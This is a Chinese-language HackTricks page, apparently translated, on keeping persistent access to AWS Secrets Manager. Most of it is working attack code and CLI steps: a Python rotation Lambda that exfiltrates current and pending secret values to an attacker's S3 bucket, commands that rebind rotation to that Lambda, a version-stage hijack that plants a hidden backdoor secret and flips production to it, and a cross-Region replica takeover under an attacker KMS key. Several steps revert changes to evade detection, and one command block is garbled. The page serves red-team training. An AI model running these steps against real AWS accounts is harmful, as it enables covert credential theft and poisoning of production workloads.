AWS - Secrets Manager 持久化

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Secrets Manager

欲了解更多信息,请查看:

AWS - Secrets Manager Enum

通过资源策略

可以通过资源策略授予外部账户对 secret 的访问权限。查看 Secrets Manager Privesc page 了解更多信息。注意,要访问 secret,外部账户还需要访问用于加密该 secret 的 KMS key

通过 Secrets Rotate Lambda

rotate secrets自动执行,会调用配置好的Lambda。如果攻击者能够更改代码,就可以直接exfiltrate the new secret到自己手中。

下面是可能用于此类操作的 Lambda 代码示例:

import boto3

def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')

# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password

# Example: Generate a new password
new_secret_value = generate_password()

return new_secret_value

def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password

通过 RotateSecret 将轮换 Lambda 更换为攻击者控制的函数

滥用 secretsmanager:RotateSecret 将 secret 重新绑定到攻击者控制的轮换 Lambda 并触发立即轮换。恶意函数在轮换步骤(createSecret/setSecret/testSecret/finishSecret)期间将 secret 版本(AWSCURRENT/AWSPENDING)外泄到攻击者接收端(例如 S3 或外部 HTTP)。

  • Requirements

  • Permissions: secretsmanager:RotateSecret, lambda:InvokeFunction 对攻击者 Lambda, iam:CreateRole/PassRole/PutRolePolicy(或 AttachRolePolicy)以为 Lambda 执行角色配置 secretsmanager:GetSecretValue,最好还有 secretsmanager:PutSecretValuesecretsmanager:UpdateSecretVersionStage(以便轮换继续工作)、用于 secret KMS key 的 KMS kms:Decrypt,以及用于外泄的 s3:PutObject(或出站 egress)。

  • A target secret id (SecretId) with rotation enabled or the ability to enable rotation.

  • Impact

  • 攻击者在不修改合法轮换代码的情况下获取 secret 值。只更改轮换配置以指向攻击者的 Lambda。如果未被发现,未来的定期轮换也会继续调用攻击者的函数。

  • Attack steps (CLI)

  1. Prepare attacker sink and Lambda role
  • 为外泄创建 S3 bucket,并创建一个受 Lambda 信任的执行角色,赋予读取 secret 和写入 S3 的权限(另加 logs/KMS 所需权限)。
  1. Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
  2. Rebind rotation and trigger
  • aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
  1. Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
  2. (Optional) Restore the original rotation Lambda to reduce detection.
  • Example attacker Lambda (Python) exfiltrating to S3
  • Environment: EXFIL_BUCKET=<bucket>
  • Handler: lambda_function.lambda_handler
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)

Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

滥用 Secrets Manager 的版本阶段标签来植入一个由攻击者控制的 secret 版本,并将其隐藏在自定义阶段下(例如,ATTACKER),同时生产环境继续使用原始的 AWSCURRENT。在任何时刻,可以将 AWSCURRENT 切换到攻击者的版本以毒化依赖该 secret 的工作负载,然后恢复以尽量减少检测。这在不更改 secret 名称或轮换配置的情况下,提供了隐蔽的后门持久性以及快速的使用时操控。

  • Requirements

  • 权限:secretsmanager:PutSecretValuesecretsmanager:UpdateSecretVersionStagesecretsmanager:DescribeSecretsecretsmanager:ListSecretVersionIdssecretsmanager:GetSecretValue(用于验证)

  • 目标 secret id,位于目标 Region。

  • Impact

  • 保持一个隐藏的、攻击者控制的 secret 版本,并按需原子性地将 AWSCURRENT 切换到该版本,影响任何解析相同 secret 名称的消费者。快速切换与迅速恢复能降低被检测到的概率,同时实现基于使用时的妥协。

  • Attack steps (CLI)

  • Preparation

  • export SECRET_ID=<target secret id or arn>

CLI 命令 ```bash # 1) Capture current production version id (the one holding AWSCURRENT) CUR=$(aws secretsmanager list-secret-version-ids \ --secret-id "$SECRET_ID" \ --query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ --output text)

2) Create attacker version with known value (this will temporarily move AWSCURRENT)

BACKTOK=$(uuidgen) aws secretsmanager put-secret-value
–secret-id “$SECRET_ID”
–client-request-token “$BACKTOK”
–secret-string {backdoor:hunter2!}

3) Restore production and hide attacker version under custom stage

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$CUR”
–remove-from-version-id “$BACKTOK”

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage ATTACKER
–move-to-version-id “$BACKTOK”

Verify stages

aws secretsmanager list-secret-version-ids –secret-id “$SECRET_ID” –include-deprecated

4) On-demand flip to the attacker’s value and revert quickly

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$BACKTOK”
–remove-from-version-id “$CUR”

Validate served plaintext now equals the attacker payload

aws secretsmanager get-secret-value –secret-id “$SECRET_ID” –query SecretString –output text

Revert to reduce detection

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$CUR”
–remove-from-version-id “$BACKTOK”

</details>

- 注意
- 当你提供 `--client-request-token` 时,Secrets Manager 将其用作 `VersionId`。在未显式设置 `--version-stages` 的情况下添加新版本会默认将 `AWSCURRENT` 移到新版本,并将之前的版本标记为 `AWSPREVIOUS`。


### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

滥用 Secrets Manager 的多区域复制,将目标 secret 的副本创建到监控较少的 Region,使用攻击者在该 Region 控制的 KMS key 对其加密,然后将该副本提升为独立 secret 并附加一个宽松的资源策略,授予攻击者读取权限。主 Region 中的原始 secret 保持不变,通过被提升的副本在攻击者控制的 KMS CMK 和宽松的资源策略下提供持久、隐蔽的 secret 值访问,同时绕过主 secret 上的 KMS/策略限制。

- 前提条件
- 权限:`secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- 在副本 Region:`kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant`(或 `kms:PutKeyPolicy`)以允许攻击者主体执行 `kms:Decrypt`。
- 需要一个攻击者主体(user/role)用于接收对被提升 secret 的读取访问权限。

- 影响
- 通过位于攻击者控制的 KMS CMK 和宽松资源策略下的独立副本,获得对 secret 值的持久跨 Region 访问路径。原始 Region 中的主 secret 未被触及。

- 攻击(CLI)
- 变量
```bash
export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
  1. 在副本区域创建由攻击者控制的 KMS 密钥
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
  1. 使用攻击者的 KMS 密钥将 secret 复制到 R2
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
  1. 在 R2 中将副本提升为独立实例
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
  1. 在 R2 中的独立 secret 上附加宽松的资源策略
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
  1. 从 R2 中以 attacker principal 读取 secret
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks